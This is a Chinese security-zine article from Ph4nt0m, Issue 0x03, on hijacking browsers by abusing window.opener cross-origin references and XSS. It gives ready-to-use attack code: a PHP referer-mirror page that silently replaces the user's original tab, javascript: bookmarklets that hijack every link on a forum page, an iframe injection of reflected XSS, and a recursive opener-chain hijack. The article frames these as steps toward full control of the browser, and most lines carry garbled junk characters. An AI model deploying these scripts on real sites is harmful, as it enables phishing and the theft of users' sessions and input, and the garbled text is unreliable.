==Ph4nt0m Security Team==: N O0 m, [( g. R
! q) ?5 y* y+ c6 g+ r5 L
Issue 0x03, Phile #0x05 of 0x07
7 s* c3 A$ a+ k+ ? : o' V: e2 F/ f$ x2 e3 f
+ a5 C) ]0 m5 b3 n* _7 T
|=---------------------------------------------------------------------------=|# u6 f4 {5 m4 C; t4 u7 L
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|% G7 o/ e/ H; t$ R6 n. ~
|=---------------------------------------------------------------------------=|* F* Y! v9 [/ y7 G/ r
|=---------------------------------------------------------------------------=|0 m" F; p3 {, Z
|=------------------------=[ By rayh4c ]=---------------------------=|
4 G C5 A0 R" w; Q8 \1 I9 ^|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
0 X2 j8 V% G. O3 o, f% ~|=---------------------------------------------------------------------------=|" d2 K8 y" ]1 I; C1 o+ e
1 _. ^6 J2 }, C" y( r3 P/ V
* |2 `; k8 G$ [. @; t8 G[目录]
8 k8 @ k. |! [0 S$ w* D; h
! k+ y+ J6 A9 p7 v* Q7 F1. 前言
; w, e( Y# a( H) X N$ W2. 同源策略简叙
+ w$ `1 b- d& L. x. S0 _3. 理解window对象的同源策略; R5 G! `! V0 n5 ^! [- D
4. 窗口引用功能中的同源策略漏洞
- _) t+ W# m% Z9 B( e3 \ 4.1 父窗口引用子窗口的同源策略问题' W0 y4 g# F# z' K' @
4.2 子窗口引用父窗口的同源策略问题, ?- ]' `& g5 K; j
5. 利用窗口引用漏洞劫持浏览器: Y p# z% P9 P
6. 利用XSS漏洞劫持浏览器
* Y. H( R; C! O+ q! M- v 6.1 正向跨窗口劫持* \% ?. B; `7 \0 m
6.2 反向跨窗口劫持
8 Z0 z: D5 K0 n$ B$ A! t 6.3 极度危险的跨框架窗口引用劫持
+ q& p" y& G3 p4 T 6.4 极度危险的正反向跨窗口递归劫持% N3 h5 B2 J, g! x( w* ^! q! R
6.5 完全控制浏览器; p8 c# a U u1 C. r) t
7. 后记
' j5 V& w E9 {" g7 i* U8. 参考0 N0 V# U& }+ k- T
3 r, z7 J+ C2 h2 U0 r7 B& e( z
& R) t7 R) O8 T# w5 I% T一、前言- k/ x0 c, [- l& ^6 @
* g c, p# p# R+ F. p$ \
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
$ ~( |1 |4 Z( u' n) W6 Z友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
9 G: T0 K; z+ J: e' N8 g! s劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被, h* m2 S& j* q; V
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。9 e6 n4 j" r& \
: E4 S. F2 e: l+ G
) s$ \/ e8 C3 P# @二、同源策略简叙* C& H, k& }' Y1 B8 B6 V8 I
. B) u5 Q" u% f2 W# K k/ C
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
- D, N; L( H; M' L8 Y从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
8 V( f h8 v8 b9 A- c曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
; P i1 I' c. B9 z8 A" ~. x马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个% F# |# {7 x* ~$ C; f
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。; F: y2 ], h' p$ m/ a
" D6 u7 H* U% z0 _2 M
( q |) C+ b! t1 q$ Y- q" o三、理解window对象的同源策略
9 ^# H2 W/ E4 v A% Z- v8 r: Y0 l e/ N+ v* _3 Y
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
$ Z/ K3 X, ]% E+ l& ~象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:9 e7 e% X- l# z/ G2 p6 T
. L0 F. ?. P7 J* y; r- q) x
--code-------------------------------------------------------------------------
% k$ _, b+ v4 {6 y% A<script language="javascript">. a( m: [' q/ |: X8 l
for(p in window) document.write(p+"<br>");
: o9 @, f& ?4 |+ G</script>* n1 b. t( @. v7 ]8 \
-------------------------------------------------------------------------------) N( @* @9 j1 \, l2 n3 j' A
8 H: w( B+ w8 n# U8 A/ ~( Z* h
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方5 S* M+ }3 z. y/ c
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,5 l# { j9 J7 X% T; f/ a7 P8 N
这些属性和方法就必须遵循同源策略。2 S/ C9 r% p) A2 R2 P, D; l# _5 s
- g/ n: g7 r3 O/ n! |- i+ A/ c 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
7 j; M/ J. ^* v么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
8 C9 d! j5 @) R的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
8 F; L7 t4 T# q! P个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
, i) Q. U! C" s5 ~6 G Y7 S d9 V4 D值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location4 W4 x) s K8 w% ~
属性并没有被拒绝访问。, j; k9 v- a) P2 N/ ]3 c
9 P2 Z. k6 D. D `" \, P
--demo.html--------------------------------------------------------------------
2 J7 D. x* i* L<script language="javascript"> ' ?* J D( N2 I# y: N* x
function allPrpos(obj) { ( q% y9 O) B' u* J
var props = "<table><tr><td>名称</td><td>值</td>"; 4 b/ E9 g& `- e/ R0 p; \% F
for(var p in obj){
* Q& T9 h( d! E9 t$ h if(typeof(obj[p])=="function"){
( M8 \) u l* f% m' a) {" V# A) s obj[p](); 8 p: X0 F3 U! O" H. _0 Y9 W, E# H6 U
}else{
- o$ \, q, `8 p+ x( r. O. H- | try
. n1 t; ?) m6 \ {
* t6 s% G0 u7 `; f( k. S props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
u a9 |0 L# [4 t1 e3 `2 P9 F }
" r$ F! A- E- V7 B catch (ex)
' e- H* W6 H; G' l7 c- q { - k% r) M8 I8 L; U% g- t
+ e7 L% ~2 P- x6 M# V props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 3 A" W+ C2 s6 F$ P- K' p% |
} 5 J& a: x% P1 X0 X& c% h
+ ]+ _) d$ o! o% `: M8 \ } + }' o4 C( E$ y/ \" h
}
& N' ]( G- x# y: }: a
8 u& w! x% z3 }/ ~+ ~, { document.write(props+"</table>");
u; F% u) Z3 f9 ~. L H} ) d- `* `& b/ X2 G$ o% }! }
% T0 h+ n; U; h, T. o$ F7 }2 t
function createWin() {/ f0 |1 P( _8 [" V
newWin = window.open ("http://www.google.com"); , n/ l5 ^+ R8 }4 h$ `
setTimeout(function(){allPrpos(newWin)},2000);
6 z# \' a; R# A* X/ v* f} / f: ]2 T2 \/ E. s
0 k- }/ ^: \' D; r* b' ]</script>
4 v. w! Z \9 S# s% m7 W
9 J# X& z# g, K) ^2 C1 c<button onclick='createWin()'>创建一个非同源子窗口测试</button>
; z* E. j1 O$ P) w v-------------------------------------------------------------------------------
6 j5 ?3 L; f- a" u
/ p+ r! `1 r8 t& t2 L
: _3 J1 \/ u( O+ @9 o+ D- u" d四、窗口引用功能中的同源策略漏洞
6 x0 J/ s$ k M4 A. ?
* k+ G7 y0 L1 S' q' O8 V6 Q% _4.1 父窗口引用子窗口的同源策略问题
d% ^: \% ]4 m, W
/ C- K- ?6 j1 P! k 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,# V9 M+ c0 ?, t) Z3 e; J. R) M1 a
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道" t0 g* G$ c5 K) L0 G1 L
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进6 u$ b7 `% K4 h' j0 U: h& F0 V/ V' y
行测试,会发现父窗口可以控制非同源子窗口location属性值。' d# T: [: @. G5 P% K4 @' z- t
- E; T# \3 A/ V) }3 x& K
--vul1.html--------------------------------------------------------------------6 n9 N/ l" y: O9 @
<script language="javascript">
" G {# g$ r, L5 q7 g( \function createWin() { : d, V6 G. @ l9 h8 f$ v! {& v
newWin = window.open ("http://www.google.com"); ( U4 w) `& m. U- I/ M7 i8 W4 F' f# j2 I
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); + _9 S: \8 b7 @7 r
} l2 h! L- y, j) u4 X1 m
</script>! A( v4 M+ c9 `
1 `$ H! A- ^: V, ~) B3 v7 J6 @
<button onclick='createWin()'>创建一个非同源子窗口测试</button>' _2 B# \! D: L5 K! J3 D
-------------------------------------------------------------------------------
2 w w4 |) h. y. S+ R* q/ S" P. R
( |. }& A: n! P6 T/ q, f% f7 u$ \2 S, d3 \ S# h
4.2 子窗口引用父窗口的同源策略问题
0 C% n* Y4 ?' G4 h3 X, T( P7 J7 O1 x
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使% X7 ?6 m) o R
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
6 F1 m5 I$ C" r可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
7 t0 s- S2 b! k* _: C* `2 e: ~会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
) K3 K! Z( L; h- \3 Y4 g. c2 M, X' s: U1 g5 a
--code-------------------------------------------------------------------------
- z! E: r2 q+ q8 r
$ a; Q8 |+ D# V* Gjavascript:window.opener.location = "http://www.80sec.com";void(0);
6 Z' J/ |. h' R' J
6 g! t8 S, a) T# U-------------------------------------------------------------------------------' n: Y5 x9 O$ o0 `$ U
" R7 c- K. \2 A' k+ z7 r
. n1 u2 o0 @5 T2 z五、利用窗口引用漏洞劫持浏览器8 k% c$ \7 _: N: l; [' g4 s- h
9 Q! K) ~' }% I, {( w9 x, t0 M0 c 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子: _& q" y" L! s: o; j/ Y
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那) [! u9 }- p O# C" F
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。 } d. K: s8 ?5 T
* C( K0 @6 A: y' }; ?
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产- n. H) v! E2 q5 I# J
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或5 s4 p& I0 J' z( B Z
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
' T/ `7 @- O8 p- S1 j+ j: u) R后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下- b& H1 E" [+ ? x! b! ^, x
会产生什么可怕的后果。+ G8 w; U' N$ p+ v1 J" q+ U
( x4 u. }/ _* K7 ^7 a
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
' N: Y" Y! m8 _% f' k们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
; O* o% \9 P- C E' C# e这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时+ H5 }5 C* X6 K% J& P
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
$ W) x5 e9 u" z5 \5 w- J以做更多的事情,所有的一切仅仅是因为点击了一个链接。7 T" i( F( M& r. Z- z% y& W
* H" O& m) I- O+ d) [- z
--hjk_ref.php------------------------------------------------------------------
: T# n& ^9 O" p) }<?php4 b" g1 J% v/ Z
if (array_key_exists("HTTP_REFERER", $_SERVER)) {+ W: X2 L/ B9 k$ K% D; W: e: Y
$Url_Mirror = $_SERVER["HTTP_REFERER"];
# K' g; }! E) R9 ?}
6 M1 e) q6 `. f# t! nif(isset ($_GET['ref'])) {3 ^, k2 N5 L4 P1 f
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
7 p& a) [* Z) @. O* x}! b1 r1 q3 |0 `; s" J. A0 F9 n
?>
$ A. [1 D6 Z% ^" ~
: E3 g7 c3 b! c# ?3 M$ h$ g<script language="javascript">
: c& R, W8 M+ q% C) m/ |7 EsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
" j% E/ w" T# c8 H7 o, T* l: E</script>
2 \5 ]7 K- v/ D: A& a-------------------------------------------------------------------------------$ H7 W4 O! I) Q
9 o& D! ]3 H$ ?: g# e! f/ A5 i
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。% }1 W8 s1 v, E" M3 O+ U5 r
) t' E C' @) F/ }9 Q3 ]8 N. a
; t- ?- u/ v! n六、利用XSS漏洞劫持浏览器
% \5 d) ^4 |" X& h
9 u, K5 c5 y; o" R9 [" r 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为" l0 k" |% u3 o
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
' T s4 @/ s. b1 v# @XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
; N3 p3 C$ V7 `1 c7 m: P4 c# T讨论跨站师的终极技巧:. S- s' ]+ w- J# \
( i$ s: J$ X ?/ d! J
+ }: W$ W0 t3 L- j/ _, i
6.1 正向跨窗口劫持
8 b. r: w: {- ?8 g: J$ i; B; `' i2 L) l7 ^- V& u
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛1 N5 A9 [" `9 C; {
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
4 z7 F" b0 N9 C S) f0 c; c接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话. w6 R$ G3 x" B! M" J6 q
框脚本。 6 A- U9 N" t5 [, ~& X
( o) X" t, G! Q5 h8 }1 J8 A# i2 j- y
--hijack_open.js---------------------------------------------------------------
. d- z) q9 z: n X; U
6 \9 s$ W) o* M) Q* cjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);4 [, v& o2 \6 {' j& ]6 g; q/ x
* ~9 O% C/ g: ~! ~
-------------------------------------------------------------------------------& ]# s q0 [1 j! ^# g
1 o f: ?: @) n4 \, h$ G
& ?" E O* Q! Y6 Y# l6.2 反向跨窗口劫持 Q$ I+ X- u* H: l" e9 `% I9 @8 P
2 |0 k: E# g! ~4 m: P
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
- |0 ]% e' f$ P- K码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
" S L6 T6 |) o$ E4 V6 v框脚本。
2 y( X: z K2 t2 ]' \' [
+ i' K. l2 z( T0 K$ @2 g8 ]--hijack_opener.js-------------------------------------------------------------9 M8 q f5 v; U5 h5 I5 k4 d
2 u8 w% Z7 r- i: C& L- ]) t# t, b
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
- W6 L5 ?3 J! F1 h! c4 r$ t
1 G+ X/ l" ?( Z+ P+ ^5 B-------------------------------------------------------------------------------* f* d, Q6 I# @! x1 T4 E6 J, z
" h+ D- D1 g' X" f. |# j2 o+ S6 [2 Z f; \
6.3 极度危险的跨框架窗口引用劫持
3 |. z3 g+ |) ^% h u% P! e6 O) q9 a! J+ N
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞- B# T1 Q) f" {2 @
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就 v# [8 S4 V3 D' Q; m, F& a
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个! k9 e+ G, C8 P1 Z" h5 U; p! E* K. ?
非持久型的XSS,如下:* b6 f4 w+ e# E# a" K
& o* D1 b9 X* L% n% R6 K
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
$ b: K- z. T" _+ h9 U2 |
) L& g& z; m% n& e3 Y! L- V4 r 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口) T6 U4 P; |, {7 [- f0 F' a0 G& W
注入脚本。
$ x) e( S* _& j/ J2 v' `- k7 g0 h! i9 n; f; F. `
--hijack_frame_opener.js-------------------------------------------------------
+ P0 z' H7 @6 @$ R4 T<script>7 \/ i& b( v( e+ i! |0 p: T; Y
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
, E9 X- @1 {/ ]9 k) _</script>7 r- Y7 q2 t3 T7 U
-------------------------------------------------------------------------------( _/ q, I% L, ?: r
6 J+ w5 Z" H! h) j) B
# l+ P! P: u+ d6.4 极度危险的正反向跨窗口递归劫持+ D% H0 O7 [! \( r
; S2 I# u% k/ |3 q
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window3 C+ ]$ V1 X0 V5 W9 Q
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
* Q1 `; |$ D s2 K2 W) i异常处理规避之间跨域页面的访问异常,代码如下:
: ]( c" t& K7 P1 o1 j! n" o& C# o+ r$ X( e1 E
--code-------------------------------------------------------------------------# u7 }% M6 x* a
# l+ T( |6 K6 Y" L/ [" V
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);; R0 D% o( a6 E$ e
5 [& `; k' j6 A/ J$ ?& i-------------------------------------------------------------------------------
* ~7 j5 |/ t9 ]. V
6 w* | g% i+ @$ j/ M. O5 B 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可/ v) s! g: u* [/ t
以劫持B域之前的A域页面,从而实现“隔空打击”。+ _! h7 I5 K6 h# C* H. H
$ k7 k. S. r. z
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
& {$ ^2 ]( t( Q& E3 `; l8 v* f2 w执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。- B$ u1 u0 T+ u1 G8 B0 @
5 v: N& m) _; _% Q# y$ F
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
% ~! w8 Z4 ? ?# O1 i$ d. {: h; {
1 W1 {% P8 v' H# V, g. ~6 Y1 F5 p$ P$ E
6.5 完全控制浏览器$ ^& J$ N" }3 s
% z% S1 U! F6 {8 ?% f1 B& D5 h 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则6 s" C) P. u( ]
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
. U! t& ?( I3 `漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
+ U8 A" g' {( u! T6 C% C而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
) d4 d% X2 I z, {, U; ~列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
: B: b) U$ R- B6 G) u; x5 z$ r师的终极目标 - 完全控制浏览器。/ F, D; _0 P$ }' L8 U6 l" s- v
( b* Z0 ^, ]5 ?& _# D
) }7 x0 k A9 t# V七、后记
5 R: @5 Q- C0 Z0 \! C4 F; ~8 H+ n, @( b# t5 C
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
( h% _( x; a% x$ r与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予- X; f, l' b9 V- S$ `- U7 b3 [
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
) R q4 M0 x% K8 Z9 g- M/ i$ a2 {: ~0 }) H6 ?
. r! `1 X5 d0 H, Y
八、参考
7 G7 Y9 C. T; C4 u
, E, b7 n2 {# @1. http://en.wikipedia.org/wiki/Same_origin_policy* G: g3 c4 r# Y5 H$ z6 k
2. http://code.google.com/p/browser ... licy_for_DOM_access
. K; l' a* x3 c: y3. http://www.w3.org/TR/Window/4 V0 d) {' y" q3 ^3 S. v& N5 |
4. http://www.80sec.com/release/browser-hijacking.txt3 N) L0 s2 m& \$ F
5. http://www.80sec.com/all-browser-security-alert.html
4 X' Z4 z* f. N, Y6. http://www.80sec.com/ms08-058-attacks-google.html
" k1 E: i: w% c7 N. S/ ^4 \ k8 l! ~* t/ D9 o- s
-EOF- |